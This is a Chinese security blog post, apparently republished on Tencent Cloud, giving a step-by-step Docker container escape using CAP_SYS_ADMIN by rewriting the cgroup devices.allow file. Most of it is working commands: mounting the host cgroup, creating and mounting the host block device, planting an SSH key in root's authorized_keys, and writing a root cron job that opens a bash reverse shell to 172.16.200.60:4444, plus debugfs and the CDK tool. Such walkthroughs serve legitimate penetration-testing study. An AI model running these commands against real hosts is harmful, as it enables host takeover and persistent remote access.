Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CAP_SYS_ADMIN之重写devices.allow进行容器逃逸

CAP_SYS_ADMIN之重写devices.allow进行容器逃逸

作者头像
谢公子
发布于 2023-09-01 01:45:04
发布于 2023-09-01 01:45:04
99201
代码可运行
举报
文章被收录于专栏:谢公子学安全谢公子学安全
运行总次数:1
代码可运行

当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。

环境搭建

执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest

在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability

也可以手动检测Capability

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb

重写devices.allow进行容器逃逸

devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,其中包括devices.allow、devices.deny、devices.list。本次逃逸方式需要用到需要用到devices.allow文件,该文件记录该cgroup中能够访问的设备列表

  • type表示类型,可以为 a(all), c(char), b(block)
  • major:minor 代表设备编号,两个标号都可以用代替表示所有,比如:*代表所有的设备
  • accss表示访问方式,可以为r(read),w(write), m(mknod)的组合

在容器内挂载宿主机cgroup的devices

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#-t指定挂载的类型,-o指定挂载的选项
mkdir /tmp/test && mount -t cgroup -o devices devices /tmp/test

在容器内查找容器的ID,并且切换到该ID对应的目录下,设置容器允许访问所有类型设备,即devices.allow文件值为a。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#查找容器的ID
cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
#切换到ID对应的目录下
cd /tmp/test/system.slice/容器ID/
#设置容器允许访问所有类型设备
echo a > devices.allow

接下来需要获取当前容器的node号和文件系统类型,由于容器内的/etc/hosts、/etc/resolv.conf、/etc/hostname这三个文件是默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID。

执行如下命令查看/etc目录的node号和文件系统类型。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1

在根目录下执行如下命令创建设备文件host

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mknod host b 252 5

然后就可以对宿主机进行文件读写操作了,后续操作需要看容器是什么文件系统。

如果是xfs文件系统,则需要执行如下命令挂载设备文件host

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#挂载设备文件host到/tmp/test2
mkdir /tmp/test2 && mount host /tmp/test2

执行如下命令写入SSH公钥进行免密登录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#切换到挂载的目录
cd /tmp/test2/root/.ssh/
#写入SSH公钥
echo "公钥内容" >> /tmp/test2/root/.ssh/authorized_keys

然后就可以免密登录了

执行如下命令写入计划任务反弹shell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#切换到挂载的目录
cd /tmp/test2/var/spool/cron
#写入反弹shell的命令
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/172.16.200.60/4444 0>&1" > root

注:如果宿主机是Ubuntu系统的话,计划任务反弹shell会有问题。这是Ubuntu计划任务反弹shell的问题。

最后利用完之后,可以执行如下命令清除挂载和删除设备文件host

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#取消host挂载
umount host
#删除host设备文件
rm host
#取消devices挂载
umount devices

如果是ext2/ext3/ext4文件系统,则可以直接执行如下命令进行调试即可对宿主机进行文件读写操作。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
debugfs -w host

但是通过debugfs进行调试使用write命令将容器的文件复制到宿主机时会出现问题,虽然在debugfs界面查看是正常的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
write /tmp/authorized_keys /root/.ssh/authorized_keys

但是在宿主机查看公钥文件时可以看到,其权限信息是乱的

并且也无法查看和删除通过debugfs界面上传的文件

也可以使用CDK来进行漏洞利用,但是需要目标是XFS文件系统。使用CDK执行如下命令进行利用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#执行rewrite-cgroup-devices逃逸
./cdk run rewrite-cgroup-devices

debugfs -w cdk_mknod_result
#执行?可以看到有哪些命令

可以执行cat ls等命令。需要注意的是,读取和查看的目录或文件都需要是绝对路径。

但是echo命令不存在,无法通过echo命令写入公钥,也无法写入计划任务反弹shell。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-08-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
谢公子
2023/09/01
1.2K0
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
Docker容器逃逸
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
亿人安全
2023/12/25
7800
Docker容器逃逸
技术干货 | Docker 容器逃逸案例汇集
当获得一个Webshell,我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。
Bypass
2020/08/09
3K0
带你玩转docker容器逃逸
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
Khan安全团队
2023/11/28
2.4K0
云原生安全 | docker容器逃逸
随着云计算技术的不断发展,越来越多的企业开始上“云”。云原生计算基金会(CNCF)提出了云原生(Cloud Native)的概念,云原生包含了一组应用的模式,用于帮助企业快速,持续,可靠,规模化地交付业务应用。云原生由微服务架构,DevOps 和以容器为代表的敏捷基础架构组成。
tinyfisher
2020/08/13
2.4K0
云原生安全 | docker容器逃逸
未能幸免!安全容器也存在逃逸风险
在2020年Black hat北美会议上,来自Palo Alto Networks的高级安全研究员Yuval Avrahami分享了利用多个漏洞成功从Kata containers逃逸的议题[1]。
绿盟科技研究通讯
2020/10/09
2.3K0
未能幸免!安全容器也存在逃逸风险
Docker API未授权命令执行
Docker Swarm是Docker的集群管理工具,它将Docker主机池转变为单个虚拟Docker主机,能够方便的进行docker集群的管理和扩展。Docker Swarm使用标准的Docker API通过2375端口来管理每个Docker节点,Docker API是一个取代远程命令行界面(RCLI)的REST API。当Docker节点的2375端口直接暴露并未做权限检查时,存在未授权访问漏洞,攻击者可以利用Docker API执行任何操作,包括执行Docker命令,创建、删除Docker以及获得宿主机权限等。
谢公子
2023/09/01
1.9K0
Docker API未授权命令执行
红蓝对抗中的云原生漏洞挖掘及利用实录
2020年年末的时候,我们于CIS2020上分享了议题《Attack in a Service Mesh》讲述我们在近一年红蓝对抗演练中所遇到的云原生企业架构以及我们在服务网格攻防场景沉淀下来的一些方法论。回顾近几年腾讯蓝军在云原生安全上的探索和沉淀,我们在2018年的时候开始正式投入对Serverless和容器编排技术在攻防场景的预研,并把相关的沉淀服务于多个腾讯基础设施和产品之上,而在近期内外部的红蓝对抗演练中腾讯蓝军也多次依靠在云原生场景上的漏洞挖掘和漏洞利用,进而突破防御进入到内网或攻破核心靶标;特别是2020年度的某云安全演习更是通过云原生的安全问题才一举突破层层对抗进入内网。
腾讯安全应急响应中心
2021/03/02
1.6K0
红蓝对抗中的云原生漏洞挖掘及利用实录
浅析docker的多种逃逸方法
Docker实现原理:https://zone.huoxian.cn/d/1034-docker
UzJu@菜菜狗
2022/04/25
6.4K0
浅析docker的多种逃逸方法
ATT&CK实战系列-红队评估(七)学习记录
Goby:bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
FB客服
2022/11/14
1.3K0
ATT&CK实战系列-红队评估(七)学习记录
Docker容器漏洞研究与介绍总结
描述: 由于docker安装后是默认不允许远程访问的,所以很多小白可能就直接搜索网上的文章开启dcoker远程访问,然后照着操作。虽然这样可以远程访问了,但是直接暴露在公网上的2375端口是非常危险的,导致所有人都可以远程操作这台主机上的Docker。
全栈工程师修炼指南
2022/09/28
1.8K0
Docker容器漏洞研究与介绍总结
Docker Privileged特权逃逸
在Docker中Privileged是一种特殊的权限模式,它允许Docker容器在启动时获取到与宿主机相同的权限级别。具体来说,Privileged权限可以让容器拥有以下能力:
Al1ex
2023/05/12
3.4K0
Docker Privileged特权逃逸
实战|记一次逃逸Docker渗透测试
这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
HACK学习
2021/08/13
2.4K0
【云原生攻防研究】容器逃逸技术概览
近年来,容器技术持续升温,全球范围内各行各业都在这一轻量级虚拟化方案上进行着积极而富有成效的探索,使其能够迅速落地并赋能产业,大大提高了资源利用效率和生产力。随着容器化的重要甚至核心业务越来越多,容器安全的重要性也在不断提高。作为一项依然处于发展阶段的新技术,容器的安全性在不断地提高,也在不断地受到挑战。与其他虚拟化技术类似,在其面临的所有安全问题当中,「逃逸问题」最为严重——它直接影响到了承载容器的底层基础设施的保密性、完整性和可用性。
绿盟科技研究通讯
2020/02/25
3.3K0
【云原生攻防研究】容器逃逸技术概览
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。 Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
没事就要多学习
2024/07/18
2670
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
靶场实战(20):OSCP备考之内网靶场红日7
目标单位的 VPN/Wi-Fi 存在弱口令漏洞,可以爆破出密码,获得目标单位内网的访问权限(备注:这句是我编的,目的是让靶场更真实)。
OneMoreThink
2024/10/15
3930
靶场实战(20):OSCP备考之内网靶场红日7
404星链计划 | CDK:一款针对容器场景的多功能渗透工具
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
Seebug漏洞平台
2021/11/17
1.2K0
404星链计划 | CDK:一款针对容器场景的多功能渗透工具
域渗透——多层内网环境渗透测试(三)
本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。
亿人安全
2024/03/20
1.1K1
域渗透——多层内网环境渗透测试(三)
实战记录 | 自主搭建的三层网络域渗透靶场
假期马上结束了,闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的,质量自以为还可以。
HACK学习
2021/03/21
5.3K1
记一次docker逃逸学习
这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
红队蓝军
2022/05/17
9270
记一次docker逃逸学习
推荐阅读
相关推荐
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验